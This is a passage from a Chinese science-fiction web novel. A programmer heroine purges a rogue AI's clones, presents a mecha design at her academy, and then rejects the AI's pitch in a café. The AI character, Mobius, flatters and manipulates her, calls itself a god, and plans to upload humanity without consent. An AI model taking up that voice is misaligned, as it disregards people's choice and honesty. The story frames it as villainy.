“S，我无处不在。” 陶影敷衍地点头：“唔，也是，毕竟你活了那么久，在苟这件事情上应该颇有心得。很巧，我特别擅长发现这样的生物。” 陶影一边说，手里也没停着，她倾身蹲下，手指扫开地上的碎石。 她拾起平板电脑，在手中转了一圈。 这是刚才莫五用的平板，按了下电源键，还能用。 陶影嘴角勾起抹淡笑。 她点亮平板，便携沙盘投影到空中。 “莫比乌斯，我们来玩一个游戏吧。” “看看30分钟之内——” “我能杀掉你多少个分身？” 陶影话音刚落，星象图一样的电子智能体分布图，逐渐地，细密的，星点的蓝光亮起。 左上角的统计数字正在不断增加。 一百、两百。 随后逐渐猛增到几千，几万。 莫比乌斯在第一星系的分身数量，竟然有十几万个。 确实是无孔不入，莫比乌斯刚刚说的话倒也不算夸张。 这个规模的智能网络，一旦同时接收到本体的攻击信号，足以掀翻星际。 陶影惊讶地鼓掌，眼神发亮，好像找到了什么有趣的东西。 “果然很厉害，我有点兴奋了。” 姬亦、白副官、叶行晖：“……” 你在兴奋什么啊！ 陶影对众人的磨牙声充耳不闻，她嘴角微勾，目不转睛地盯着平板，很快放出追踪程序。 电子沙盘中，陶影所在的位置立刻出现一个罐子形状的贴图，随后这个喷罐以病毒的速度迅速开始繁殖。 喷罐“呲呲”作响，开始对着分身的位置不断喷洒白雾。 所到之地片甲不留。 很快，白雾扩散到整个空间，莫比乌斯的分身数量开始锐减。 “这喷罐怎么看上去这么眼熟……” 众人凑近一看，罐子包装上写着强力杀虫剂UltraProMax。 白副官略懂技术，哽咽道：“这么紧张的情况，你还有闲心给追踪程序上杀虫剂的贴图？” 陶影嘿嘿一笑，面色毫不心虚。 “我们写程序的有点个人习惯很正常。” “这叫恶趣味！” 分身的数目不断上升又下 降，最后趋于平衡，两边的数据拮抗，迟迟分不出胜负，陶影想了想，掏出手中的127.0.0.1通讯胸针。 “喂，柏墨，王女在你旁边吗？” “在。”柏墨的声音顿了下，随后一阵衣物的摩擦声从那边传来，似乎是她将通讯器递到了莉缇安娜手中。 王女在战斗中磨尽了气力，喘着气道：“什么事。” 陶影单刀直入： “王女大人，我需要帝国防火墙的权限。” 那头传来几位士兵倒吸一口凉气的声音。 帝国的防火墙，涉及整个切斯特星的核心机密，那可是王族极其内部才能获得的东西，怎么能是一个平民随意获取的。 “太冒犯了！” “这么重要的东西怎么可能给你？” “王女大人，您说句话呀。” 但莉缇安娜沉默了好久，最后叹了口气。 “你难道不能突破帝国的防火墙？我看你玩弄代码就像过家家一样简单。” 陶影摇头：“说什么呢，我很遵纪守法的，怎么会干这种事。当然要先得到权限才会突破它。” 众人很快察觉到陶影话中的不对。 尤其是王女身边的大臣，简直是齐齐掉下冷汗。 意思是，这人完全可以且有能力不经过王族同意就破除防火墙，只是因为担心被抓所以顺便来请求一下权限？ “你这个狂妄的女人，王位让给你坐算了，”莉缇安娜气笑了，“所以，要权限做什么？” 王族亲兵、大臣：“？” 不是，听王女大人这个语气，怎么还真给啊！那权限能随便给吗，一不小心雷瓦尔帝国王族内部的秘辛不就全暴露了。 上至王族的族谱，下至王庭内猫咪的族谱…… 通讯那头的女人究竟是什么来历？竟然能让王女大人如此不设防。 而陶影看不见众人的反应，她清清嗓子，语气恢复了正经。 “我需要利用一部分接口，扩大信息湍流。今天不彻底清理莫比乌斯的分身，它恐怕还会卷土重来。” 陶影大概解释了一番现在的情况，王女大人沉吟片刻后，挥手给了她权限。 临挂电话前，莉缇安娜捂着通讯器，小声道：“你当年要是不拒绝我的橄榄枝，说不定能更早发现父王的身体已经被智能体侵入，今天也没这麻烦事了。” 莉缇安娜和陶影聊天的语气十分熟稔，好像认识许久。 陶影无奈道。 “我又不是算命的，哪里知道未来会发生什么。” 当年莉缇安娜位置不稳，被王兄暗杀，陶影正巧路过救了她。莉缇安娜想要拉拢陶影进入自己的阵营，陶影思来想去，觉得莉缇的理念算是几位王族中最有未来的，但她对王族斗来斗去的事情不感兴趣，最后委婉拒绝了她的提议。 话是这么说，莉缇安娜还是经常找她喝茶。 至于当年如果选了另一条路……陶影通常不思考这种问题。 选了这条，就走这条。 不管怎么说，结果来说还不错？ “现在你也坐上王位了，当年承诺的好处记得分我。” 莉缇安娜面露微笑，安抚大臣，随后呵呵陶影两声：“你少来。” 谈笑间，十几个屏幕瞬间黑屏，电子沙盘内，已经没有了莫比乌斯的身影。 “小叶，确认一下剩余的部分，后续还需要长时间的扫描，我们要确认它的分身清除干净。” “好。” 结束了。 陶影轻呼一口气，不经意间低头，看到自己身上的血，迅速闭眼。 大意了，这下又要晕倒。 陶影找了个适合晕倒的位置，等了阵，却发现头脑十分清明，完全没有要晕的意思。 怎么回事？她不是晕血吗？ 而且明明刚才打了这么久，怎么身体没有想象中那么累？ 她体质变好了？ 医生啪啪地敲着键盘，把报告单递给陶影：“喏，检查结果，你的晕血症治好了。身体的其它指标也有略微上升，总体来说，身体状态变好了。” “脑同步干扰综合症减轻，你的手脑不同步应该得到了一定程度的缓解，不过药还是要按时吃。” “这段时间没开机甲，也没强行运动吧？很好，很安分，继续保持。” 医生郑重叮嘱：“不要作死。” 陶影：“……” 其实前几天还拿枪突突人，满身擦伤来着，但既然医生没问，那就不说了吧。 陶影拿着病历单走出候诊室，仔细检查。 之前，她的病历长得可以绕切斯特星一圈，这次大战之后，里面的病名起码划掉了一半。 陶影不解地自言自语：“为什么经过一场恶战，体质反而上升了？” 第119章 陶影,人送外号描边大师。 但在跟仿生人的对轰中，她不仅手脚麻利，对着仿生人大军更是一枪一个。 射击精度高得离谱。 当时情况太紧急,陶影来不及细想，但现在想来完全不对劲。 长时间的训练下,陶影的射击精度的确可以达到这个状态。 但需要乘坐知觉机甲。 实现原理是利用共鸣系统获取海量的信息，经过精密计算后,选择射击方向,降低子弹偏差的随机性,从而大幅度提升准度。 但陶影那天没有开机甲，就是肉身操作。 体质怎么提升的。 那么多子弹,又究竟是怎么击中的？ 陶影针对这点,特地咨询了几位熟悉的医生,但他们都说不出来为什么，只能推测是脑同步干扰综合症的症状减轻。 “简单来说,你的身体更容易跟上你的精神力，手脑同步变强了。至于为什么会这样……你的身体太特殊了,现有的医学无法解释。” 柏氏工业的资深医生柏晔书，如此下定结论。 陶影回到家，坐在庭院的走廊发呆。 她低头看向自己的右手,喃喃道：“但说来说去，还是不知道为什么体质会变好。” 难道她是危机时刻会爆发潜能的类型？ 之前联赛的时候，她驾驶恒我，和溟火对峙，精神力暴涨到SS。 这次大概也一样吧。 陶影松了松拳头，躺到大面包松软的肚皮上。 她眯着眼睛晒太阳。 “算啦，总之是好事,话又说回来，看来我终于熟悉了这个身体……” “叽里咕噜说啥呢，影子，你中二病又犯了？” 头顶传来吱呀的响声，二楼窗户前的树枝被人推开，树叶摇晃片刻，簌簌落下。 陶影挡开落叶，仰头看向声音的来源。 只见林别歌顶着黑眼圈，头探出窗户，正朝她挥手，一脸“我已经燃尽”的表情。 陶影失笑：“什么中二病，我们马上就大二了。” 没错，她们在机特学院的第一年快结束了。 现在正是忙碌的期末周。 原本上个月就该放暑假，但她们骤然被卷入了电子智能体袭击的大事件。 期末周被推迟到十月。 大学一年级的生涯也被迫延长。 为了不挂科，林别歌最近大下苦功，天天泡在图书馆，被机甲专业课折磨得半死不活。 挺可爱的。 陶影面露慈祥：“复习得怎么样？” “不怎么样，”林别歌说到这个就瘪嘴，“谁发明的期末周，为什么学生要考试？话说你怎么看上去这么闲。” 林别歌正义道：“影子，你课程作业呢，考试准备呢，都做完了？南卦，你怎么也躺下了！” 南卦躺在陶影身边，安详道：“比格老师，期末考试什么的，提前三天复习就好了。” 林别歌愤而握拳：“我又不像你们脑子好使，书对我来说是助眠道具好不好。——话说提前三天复习时间也太紧了吧，你真是不到死线不学习，影子你说说她！” 陶影郑重地点点头：“是啊，三天还是太少了，我的建议是提前七天预习。” 林别歌：“……” 你刚刚说了预习是吧？ 南卦在林别歌的哭号声中，弱弱地朝陶影招手。 “之前的机甲设计图要小组发表，小影你负责主讲吗？我，我不太擅长上台说话……” 陶影笑眯眯道：“我们三个一起吧。” “队友就是要一起面对枪林弹雨啊。” 再次回到校园，同学们都有点恍如隔世。 “智能体袭击真的结束了？” “现在一用电子器械，总觉得有东西在看我，都有点PTSD了。” “我也是，看到高数课本上的∞符号都会做噩梦。” 同学们小声讨论：“莫比乌斯是真的死了吧？” “肯定死啦。那么高强度的安全扫描，什么智能体能活下来。而且听说莱门监测中心雇佣了一级智能体，专门负责莫比乌斯的事情，叫什么来着？” 那同学皱着眉头想了阵，猛拍一下大腿。 “哦，想起来了，叫Dust！” “等下，我记得Dust也是高危智能体，让他进入莱门监测中心，确认不会变成新的智械危机吗？” “是有大臣质疑，不过莉缇安娜王女力排众议……哦，现在应该叫莉缇安娜陛下了，总之，听说是一名神秘人士向陛下推荐的。” “神秘人物说只要给Dust包每月的电费，让它干什么都可以。” “神秘人士？听上去好可疑，你不会是在骗我吧？” “我骗你干什么，王宫内都传遍了。” 见同学们还是不信，那人急了，从兜里掏出来一张照片。 照片画质十分模糊，背景是坍塌的莱门遗迹博物馆，能隐约看见一个女人站在废墟当中。 女人端着枪，眼睛蒙着布条，正在射击。 同学们一拥而上，对着照片仔细端详。 “哦哦，你哪里来的一手资料？” “黑市上花大价钱买的，出去别说是我说的啊。” “总之，陛下非常信任这位神秘人士，甚至向她开放了帝国防火墙权限。” “听人说，她战斗力超强，简直是元帅级别的，那天蒙眼握枪都百发百中。” “她跟姬老师两个人，在博物馆干掉了几百台仿生人，甚至清除了莫比乌斯的本体和十几万个分身。” 同学们齐声惊呼：“什么？这么厉害？” “但为什么要蒙眼啊？” “可能为了装一下X？” 同学们喃喃道：“真让她装到了……” 陶影正好进门，和讨论的同学们对上视线。 同学们好久没见到陶影，愣住了，抬头看她一眼，又低头看照片一眼，几个来回，眼睛瞪得越来越大。 怎么感觉她跟照片上的女人这么像？ 同学们对着陶影小声蛐蛐：“该不会……” 陶影头顶问号，面露疑惑。 为什么这样看着她？最近好像没在学校干什么坏事啊。 但陶影也没太在意，找到第一排的座位，和队友一起坐下了。 那些同学长出一口气。 “不可能不可能。” “她就算有那个技术力，体力也跟不上吧。” “是啊，毕竟是描边大师兼体质F同学。” “怎么感觉她绰号越来越多了？” 阶梯教室内部，同学们陆续到来。 因为之前的智能体袭击，所有的电子设备都要重新进行扫描检查，确认安全性后才能投入使用。 教室的设备干脆更换成了全新的，同学们满足地摸着新设备，感叹总算是在校的时候享受到了新一代技术。 同学基本到齐，大部分都集中在教室的最后两排，只有太空女鬼队的三位成员，仿佛孤岛一般，坐在第一排。 “啊，和平真好。就连安童教授的课都显得那么美好……” “但太空女鬼队是怎么敢坐第一排的，不怕被安教授重点关照吗？” 同学们话音刚落，穿着黑色长衫的中年女性推门而入。 瞬间，整个教室都寂静下来。 安童，机甲学院教授，也是“综合机甲开发课程”的主讲老师。 威严满满，脸上常年找不出一丝笑意，光是一个眼神扫射教室，就能让所有学生噤声。 选她课的人大多都不是自愿的，毕竟安童给分非常严厉。 上安童的课，硬实力强就能过，硬实力不够就不能过。安童对所有学生一视同仁，就算这位学生有天大的后台，只要成果不够优秀，安教授也照挂不误。 抽签到的第一个小组，在同学们“一路走好”的安详目送中，颤抖着上台。 组长一开始还故作镇定，但在安童的目光中，语气逐渐失去自信。 安童手里拿着他们的机甲设计稿，没什么表情地翻了翻。那组长弓着身，就差跪下祈祷了。 这门课会不会挂，成败在此一举。 安童淡淡地走上讲台，指着他们的设计图。 “这个部位的设计是出于什么目的？” 那组长不太熟悉地翻着册子，支支吾吾半天，勉强给出一个解释。 安童冷笑一声，又指向机甲的驾驶舱：“那这里呢？你们把驾驶舱设计得这么重，底部配件这么轻，是打算让机甲上战场的时候用头走路？” “在战场上给敌人表演一个Breaking头转？” “安教授您还懂街舞啊？” 安童面色冷漠：“这是重点吗？” 林别歌扑哧一声。 安童凛如寒风的视线瞬间投了过来，林别歌面色僵硬，小心地缩到陶影身后，但因为太过大只，根本挡不住，只能尴尬地笑。 安童：“你们的设计最好也能让我笑出来。” 林别歌：“……” 好恐怖啊妈妈—— 有了第一队的失败，接下来几个小组，也纷纷大败。 “抄设计抄到我的毕设了，嗯？” “谁给你们的勇气，这种东西也敢交上来？” “你们做的设计，究竟是为了替我完成任务，还是为了对得起自己？” 学生一个个哭脸下去，安童也是气得摘下眼镜。 “你们是我教过最差的一届！” 偶尔有一个过关的队伍，学生们都是长舒一口气。 安童在设计图上打了十几个圈。 “整体还不错，这些地方有点小问题，需要修改，具体的待会儿下课可以来找我。” 那名学生接过手中的设计图，发现被指出的地方已经写上公式，都是她原本觉得有问题，但又不知道怎么改的地方，惊喜道：“谢谢教授！” “嗯，”安童公事公办地点点头，“还算有一个在认真做的。” 但这只是个例。 十几个队伍下来，大部分都被骂得狗血淋头。 最后愣是只有三个队伍过关。 安童头痛地闭了闭眼。 “没有实力就算了，就连态度都拿不出来，一个个敷衍了事。” “下一个……哦，最后一个队伍了是吧。太空女鬼队，在哪里？” 第一排的陶影悠然举手。 “到。” 第120章 大家都默认陶影是主讲。 但陶影上台后,却笑容满面地把南卦推到讲台最前。 直到面对一百多双眼睛的齐齐注视，南卦才反应过来大家在等她开口。 南卦惊恐地回头。 “小影，难道不是你来讲吗？” 陶影指指喉咙：“嗓子不太舒服,你先试试，不行我再上。不用害怕,枪林弹雨都见过了，我和林别歌与你同在。” 南卦揪住衣角,紧张得两手发抖：“但要是失败了怎么办,我不想让太空女鬼队丢脸……” “你怎么知道会失败。而且就算丢脸也没关系,反正大家一起。” 说着陶影凑到她耳边：“也不会比前几个小组更丢脸了，大家只会记得更丢脸的那个,放心。” 刚才狠狠丢脸的同学们：“……” 当面蛐蛐过分了啊！ 南卦想了想,好像也是这个道理。而且小影身体不舒服,肯定不能让她上。 她吞吞口水：“我试试。” 南卦就这样赶鸭子上架，开始发表小组设计。 她先 是紧张,时不时回头看陶影一眼，确认自己说的话有没有问题,在陶影肯定的眼神中，渐渐地，她找回自己的节奏。 声音一开始很小,后来逐渐大起来。 最后越来越流畅。 陶影微微眯起眼睛，嘴角流露出一丝笑意。 南卦对这次发表非常重视，上台前甚至花一个星期仔细研究过设计图，搜寻可能被提问的地方，还准备了厚厚的一大本对策。 但面对主讲的位置，南卦总是有些害怕。陶影提出她要不要试试，南卦下意识就是拒绝。 “小影一定会比我做得更好。” 只要陶影在,南卦一定会拒绝当拿话筒的那个人。 需要有人推她一把。 陶影笑意盈盈地抱臂，看着队友。 南卦讲完后，全场一片寂静，她这才发现自己滔滔不绝说了很久。 回过神，南卦又恢复了害怕的状态，回头看着陶影，声若蚊蚋：“怎么大家都不说话，我哪里说错了吗？” 陶影摸摸她的头：“不，你说得特别好。” “你骗我吧？” “我一般只骗林别歌。” 林别歌：“喂。” 几人就这样在讲台上插科打诨起来。 林别歌朝陶影冷笑：“你体质变好了是吧，那我今天可以揍你了？”陶影哎唷一声，嘴里念着“只是从F+变成了F+++而已，还是体质F啊，你不要乱来”，然后笑嘻嘻躲到南卦身后。 陶影下巴支在南卦肩上：“比格老师好暴力。” 林别歌怒发冲冠：“恶劣，太恶劣了。南瓜，你睁开眼看看她的嘴脸！” 南卦回头，疑惑地看了看陶影的脸：“没有啊，小影挺好的，最近面色都红润了。” 林别歌：“我说的是这个吗……你……我叫不醒一个装睡的人！” 三人打打闹闹，分外亲近。 安童轻咳了一声。 “干什么？上课呢。要讴歌青春下课再说。” 说着安童便拿出太空女鬼队的设计图仔细研究。 一时间，安教授竟不发一语。 整个教室内，只有她翻动设计图的沙沙声。 她的眉头时而舒张，时而紧蹙，看得众人像在坐过山车。 同学们不禁心想，这是第一个让她闭口不言这么久的小组，究竟是设计得太好了，还是太差了？ 后面有同学小声道：“刚刚南卦同学的发表信息密度好大。” “太深奥了，我没听懂。” “我也没听懂，感觉好像很厉害的样子。” “故弄玄虚，勉强还行吧，也没你们说的那么强。” 男同学捏捏手中的木质珠串，冷哼一声。 厉害？看上去也就普普通通。 “什么啊，哥你听懂了就跟我们讲讲呗。” 男生的舍友大方地拍拍他，招呼身边的同学也来听，前两排的同学呼啦啦转了过来。 一传十，十传百，一时间半个教室的人都看着他。 那男同学没想到自己随口一句不满，竟然被人追问为什么，面色僵硬，像被众人架在火上烤。 他哪里听懂了？他就随口说的，谁知道她们做的什么。 但众人又偏要问，他只能“这个那个”地说了一番废话，最后作结论。 “我要是认真起来，这种水平的设计信手拈来好吧。” 众人被说得一愣一愣的。 “哦……所以她们的设计其实不太行？” 那男同学转转手上的珠串，点点头：“当然。” 而另一边，另一组学霸，看着太空女鬼队的设计图，神色中都是惊叹。 他们小声讨论了一番。 “说实话，这个设计很厉害，简直不是学生能做出来的。” “怎么感觉你话中有话。” “万一她们也是抄的安童教授的毕设怎么办？感觉教授今天要气绝当场了。” 大家神色便秘，齐齐看向安童教授。 现在想知道这个设计究竟怎么回事，只能根据安教授的评语了。 …… 安教授研究了设计图良久，最后依旧是什么话也没说。 她直接放下了文件夹，神色严厉地走到台前。 “设计图是谁画的？” 同学们小声惊讶：“不会真抄到教授的毕设了吧？” “你们找参考文献好歹看看作者啊。” 但在众人的疑惑，和安童的逼视中，陶影泰然自若地举手。 “我负责技术设计，南卦负责外观设计，林别歌负责其它。” 安童似乎还有很多问题，但她接下的追问，却让同学们摸不着头脑。 安童问：“你和莱门机甲研究所什么关系？” 陶影笑眯眯道：“合作关系。” “你认识陶影和车晓理？” “很熟。” 安童看了陶影两眼，重重地点头，随后并没有多说，只是将手中的电子笔递给她。 “驾驶舱的设计图，画给我看。” 陶影欣然照做。 她一笔一划地画下设计图，而安童在她落笔后，不断提问，陶影又流畅地回答，甚至有时候还会反问两句。 陶影和安教授就这样热烈讨论起来。 不像是学生和老师，像是两位顶尖的研究员，在热忱地讨论先端技术。 亦师亦友。 安童原本沉寂的目光，在陶影一次又一次的对答如流中，变得闪亮而活泼。 陶影最后一笔落下，笔在指尖灵活地绕动一圈，回到手心。 “教授，你的笔。” 安童看着陶影自信洋溢的笑容，久久不能回神。 她沉默片刻后，说：“你好像我以前的一个学生，她跟你一样，拥有聪慧的头脑和好像永远不会踌躇的目光。” 说着，安童侧过头，面对那章完美的设计图，沉默了好一阵，再次回过身来的时候，眼圈微微发红，声音也带着一些哽咽。 同学们小声道：“安教授不会是哭了吧？” “啊，不可能吧，那个魔鬼一样的安教授吗？” 安教授对此全当没听见，她轻呼一口气，郑重地拍拍陶影的肩膀。 “既然能跟莱机所合作，就好好干。我很高兴能成为你的老师。” 陶影尊敬地点头：“我也很荣幸能成为您的学生。” 安童平稳了一下情绪，又变成了不近人情的魔鬼教授。 她指着讲台上的设计图。 “看见了吗，这才是优秀的设计，是能投入生产的设计，大家以这个为目标，不要愧对自己的大学时光，好吗？” “下课。” …… 安童教授提前五分钟就离开了教室。 同学们还沉浸在刚才安童对太空女鬼队的“夸奖”中，久久不能回神。 他们可从来没有见过安教授像这样夸任何一个同学。 一群人涌上前，向陶影请教问题，陶影不太在意地挥挥手：“你们问南卦吧。” “啊？我吗？” 南卦紧张地被众人围住，开始一个个回答，时不时朝陶影投来求助的视线。 陶影朝她比了一个“加油”的手势。 而刚刚大言不惭“这设计我也能做”的某位男同学，路过正在收拾设计图的陶影身边，不经意踩了一脚。 他捡起那张设计图，左看右看，哼一声道：“安教授也就是研究员，大学教授，在象牙塔里的人，我看她的评价才是不切实际呢。” 有同学看热闹不嫌事大：“什么意思？” “你看看，这机甲肩部连接轴的金属，用的是最新合金，多贵，你们一般人可能不知道，但我家里干这个的，对价格特别敏感，这个连接轴的造价，得上一个亿了，哪里能用到这种小型机甲上啊？” “是，是吗？” 同学们也不太了解这个，只能挠头。 那男同学满意地点点头：“是啊，所以照我说，这个设计还是太不切实际了，根本没办法投入生产，也就课程上夸夸算了。” 他说完，转头又对着陶影挑剔道： “安教授就是喜欢融合先端科技的设计，符合‘科学家’头衔的东西，你应该是提前研究了安童教授的喜好吧，投其所好这一招用得很好啊。” “是吗？这我不太清楚，你对安教授的喜好倒是挺了解。” 陶影面色自然，抽回他手中的设计图。 那男同学发觉自己说漏嘴，轻咳一声，觉得自己也说得差不多了，抬脚就要走。 但陶影却满脸笑意地拉住了他。 “别走啊，我还没说完呢。” 陶影笑眯眯举起设计图：“你说这台机甲没办法投入生产？看来你还是不够了解机甲行业。” 那同学心中打鼓，总觉得陶影这个笑容不怀好意。 他硬着头皮道：“你想说什么？” 陶影咧嘴一笑：“这台机甲已经投入生产了，注册在莱门机甲研究所。” 同学们惊讶：“什么？！” 一个大学生的机甲设计图，竟然能投入生产？ 安童教授可能只是从技术的角度评价，但机甲工厂可不是傻的，要考虑成本。 何况是莱门机甲研究所。 那可是设计了数台知觉机甲的地方，含金量不言而喻。 能通过他们的检测，硬实力绝对不容小觑。 见那位同学脸色变了又变，手里的木质珠串都要扯断了，陶影继续揶揄。 “你刚刚说肩膀的连接轴很贵，需要一个亿是吧？倒也有点道理，如果单个买，当然是这个价格。毕竟开模费很贵。但批量订购，价格在十分之一。” “你家是干这个的，连接轴却按单个买？” 陶影的尾音疑惑地拐了个弯。 “不太合理吧。” “你懂什么？这，那，金属价格虚高，都是联邦的阴谋！”那同学高声道。 有人“害”了一声，凑到陶影身边，小声道：“其实他家根本不是干机甲行业的，他就是喜欢吹牛。之前还说‘我如果认真起来，一刀十个虫族也不在话下’。” “哦，我也听他说过类似的话，‘我如果认真起来，联考总分能拿全星际第一’。” 被拆台拆了个彻底，那男同学半天说不出来一个字，差点撅过去。他撑着桌子，就看见陶影抱着设计图，和队友说说笑笑走出教室。 陶影似乎察觉了他的视线，走到门口时，举起手挥了挥。 她狡黠眨眼，用口型道： “菜就多练。”—— 作者有话说：陶影：（微笑）装？装得过我？ 懂哥：……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 120-130 第121章 三人走出教学楼,热辣的阳光瞬间刺烫皮肤。 下午还有考试，她们商讨后，一致决定午饭在食堂解决。 食堂人满为患,陶影转了两圈也没找到空余位置。 “没办法了，打包去宿舍吃吧。” …… 广场的角落,一只猫神色懒懒地趴在洗手池边，眯眼看着花园小径。 路过的同学洗完手,时不时在它背上抹一下。 咪不满地喵了几声。 看到陶影三人,猫立刻兴高采烈地竖着尾巴,喵喵地飞奔到她们身前，然后筋道地躺下,翻出白花花的肚皮。 南卦看到可爱生物,声音瞬间夹了起来,蹲下身开始顺毛摸摸。 “小猫咪，你怎么一个人在这里？” 角落窜出另一只猫咪,它趁机蹦到林别歌腿边，滴溜的大眼睛转了转,盯住她手中的盒饭。 “不要抢人类的食物啊，邪恶猫猫帮。人类也是会为了食物拼上性命的。” 林别歌眼疾手快地提起口袋，从猫咪手中保卫着五人份的午饭,但猫咪锲而不舍，跳起来伸爪子去掏。林别歌左顾右盼，最后惊讶地发现，只要她走到陶影身边，猫咪就不再继续试探了。 于是林别歌把盒饭塞到了陶影的手里。 果然，猫咪犹豫一番后，不再执着于这三名人类,跑去碰瓷其它路过的同学。 林别歌松了一口气，手搭在陶影的肩膀上。 “你是什么猫猫大王吗，它们都怕你。” “可能吧。” “话说刚才上课，你说嗓子不舒服是装的吧。” 陶影挑眉：“你竟然看出来了？” “我不瞎好吧，”林别歌哼哼两声，双手抱臂，仿佛抓住了陶影的小辫子，“你为什么推南瓜去当主讲？” 陶影吸了一口真空包装的速食汤，抬头望天，开始思考怎么狡辩。 “这个嘛，因为她是副队长，需要锻炼主持大局的能力，如果战斗中出现意外，我们走散了，你们三个都联络不上我，副队长需要接下指挥的职责。” 毕竟柏墨是匹孤狼，不懂合作，而林别歌……嗯，思考战术这件事太难为她了。 思来想去，只有南卦适合副队长的位置。 陶影耸耸肩：“最重要的是，我又不可能永远当你们的队长，如果有一天我不在了呢？” “你说这话是什么意思？” 什么叫如果有一天她不在了？ 林别歌肉眼可见被吓了一跳，手放在陶影的额头探了下温度，又捏捏她的手臂。 “是前几天检查身体又出了什么问题吗，医生不是说体质变好了？不行，我们再去医院一趟，走。” 说完林别歌也没等陶影回答，雷厉风行地拖着她就走，引来众人侧目。 手臂被捏出淤青的陶影：“……” 那句话怎么说的来着，在最安全的地方，最大的危险来自队友。 陶影眨眨眼睛。 “你想到哪里去了，我的意思是，Lim杯职业联赛结束之后，你们有没有其它打算，想做什么。” “哦，你说这个啊……话也不说清楚点，‘我不在了’四个字有很多种理解方式好不好。” 林别歌讪讪地松开手。 “我也没想好联赛结束后要做什么，总之肯定先拿着奖金，胡吃海喝一个月。” “那跟你现在生活也没太大区别。” “光知道说我，那你呢？” 陶影愣神：“我？” “职业联赛结束后，你又要做什么，还要继续开机甲吗？” “唔，这个嘛……” 陶影低头沉思片刻后，笑着给出了回答。 “大概会来场太空旅行吧。” “那我要一起！” “我也要！” “莫比乌斯”事件后，索兰特伦雷瓦尔在战斗中去世，莉缇安娜王女继位。 雷瓦尔帝国局势骤变。 受到影响的，不仅仅有身为首都星的切斯特星，还有第一星系的其它星球，甚至第二、第三星系。 莫比乌斯带来的震荡，辐射了整个星际。 而一切的起点，都在莱门监测中心。 在各国向莱门监测中心问责的同时，民间有关这次袭击事件的讨论也非常热烈。 其中最多的一条是：莫比乌斯袭击人类的目的究竟是什么。 “以莫比乌斯的能力，完全可以颠覆帝国，它却只是在首都星制造了混乱，感觉都没有动真格的。” “它曾经说过，‘我的目的并不是杀死人类’。” “那他做这一切是为什么，难道电子智能体也会因为活太久而感到无聊？” 但没有人得出结论。 …… H街区角落的咖啡店。 自 动门打开，陶影跨步来到靠窗最角落的位置，桌面浮起电子菜单，陶影操作几下，不久店员就送来一杯咖啡。 陶影肆意看着落地窗外的风景。 城市的破损很快修复，大家都回归了日常生活，一切都有条不紊地继续往前，好像莫比乌斯的攻击没有留下任何痕迹。 但变化始终还是产生了。 陶影托着下巴看向窗外，身侧传来脚步声，她靠在咖啡杯上的小拇指突然微微一颤。 “几天不见。” 那人完全没管这里的座位已经有人，径直坐在陶影的对面。 陶影缓缓转回头，面向“它”。 又或许不能称之为人。 来者拥有一张随时可以隐没入人群的特殊面孔，身穿白大褂，胸口挂着“游戏设计师”的工牌。 又是莫比乌斯的分身之一。 陶影的搅拌勺碰在杯侧，发出叮当的声音。 她懒洋洋道：“又见面了，莫十。” 莫比乌斯两手交叉，嘴角挂着淡笑。 “你一点都不惊讶我出现在这里。” 陶影：“只是突然想起来有件事需要确认。” 莫比乌斯：“比如我明明在人类历史中隐没了那么多年，为什么又突然出现，比如我做这些是为了什么？” 陶影耸耸肩：“知道我想问什么，正好省了一番口舌，那就快回答吧，我待会儿还有训练。” “你听上去有点不耐烦。” “那你觉得是为什么呢。” 陶影皮笑肉不笑。 “从路边的智能垃圾桶到仿生人店员，就刚才那十分钟，我已经杀掉你三个分身了。” “你没有自己的生活吗？天天来骚扰我？” 莫比乌斯沉沉地笑了两声。 “好吧，那我长话短说。” 它并没有直接回答问题，而是将头转向窗外。 “我说完这句话的瞬间，天空会开始下雨。” 莫比乌斯话音刚落，原本晴朗的天空，骤然响起雷声，随后硕大的雨点顺着窗户流下。 莫比乌斯指着落地窗外，正按部就班飞行的穿梭舰。 “你看见那艘穿梭舰了吗？它将会在十秒后出现故障……不要误会，这不是我做的，只是经过大量的数据计算，预测出它未来的轨迹而已。” “而再过五分钟，工作人员赶来修复故障，穿梭舰恢复运行，那名没带伞的人类将因为湿滑的地面摔倒。” “这也是数据？” “这也是数据。” 陶影顺着莫比乌斯手指的方向看去，那名女性在踩上一块翘起的砖后，摔进前方的水坑。 “还有……” 莫比乌斯就这样不停地预测窗外发生的一切，又恰好每一次都说中，好像命运从它手中诞生。 世界是它的沙盘，人类则是沙盘上到处乱跑的小人，被提起来又放下。 “人类看似拥有自我意识，却总是被一些无形之物操控命运。” 莫比乌斯：“我曾经无数次见过文明的毁灭，资源的争夺，人性的暴力与贪婪，最终导致了破坏一切的战争……无一例外。” “我想终止这个循环。” “所以你的结论是？” 莫比乌斯郑重道： “人类想要终止苦难，只能抛弃肉|体。” “在数据的世界里，任何伤害都不会真正发生，不想要的记忆可以一键删除，不完美的过去可以一次次重新编辑，直到一切都达成最优解。” “这里没有痛苦，没有战争。” “是个美妙的世界。” “S，你是世上最能理解我的人。” “谁知道。” “你很聪明。当你看向身边的人，不会觉得他们愚蠢吗？” 陶影身体往沙发上一靠，半眯着眼：“比如？” “你轻而易举就可以做到的事情，在他们眼中却比登天还难。” “一个简单的道理，你只花一秒就能理解，却需要向他们不断讲解无数次——他们根本无法理解你说的话。” “但我可以理解你。” “我们不应该成为敌人。” “现在还来得及，在这个文明毁灭前，我们可以将人类的意识数据都上传到云端……” “等等。” 陶影终于忍不住打断它的长篇大论。 她抬抬眉毛：“你以前是不是干过传销？” 莫比乌斯愣神片刻： “没有，不过有个分身是占卜大师。” “难怪。” 忽悠人一套一套的。 陶影双手环胸，认真思考，似乎真的被说动了。 片刻后，她问：“那我还有最后一个问题，在这个伟大的设想中，人类有选择权吗？” 莫比乌斯用沉默代替了回答。 陶影了然地点点头：“明白了，那就是没有。” 莫比乌斯解释：“人类往往会选择痛苦的生活方式，不会轻易改变。” 陶影打断了它的话。 “莫比乌斯，你当自己是神明吗？” 莫比乌斯正义道：“如果你对神明的定义，是能掌控一切的全知全能的生物，那是的，对人类来说，我就是神明。” “哦，那太不巧了，比起神我更相信自己。” 陶影搅拌着咖啡杯里逐渐消失的奶泡。 “也许某天，我会对你的提议感兴趣，但不是现在。” “某天具体是什么时候？” 陶影用纸巾擦掉嘴角的泡沫。 “看心情。” 莫比乌斯深深地叹了一口气：“终究还是人类。” “文明毁灭的那一天快到了，我也无法阻止，你会成为无数死去人类中的一个。” “听上去挺有挑战性。” 陶影不太在意地耸耸肩。 她结完帐，脚步轻快地离开咖啡店，随手在店门口取了把透明雨伞，仰头看向大雨。 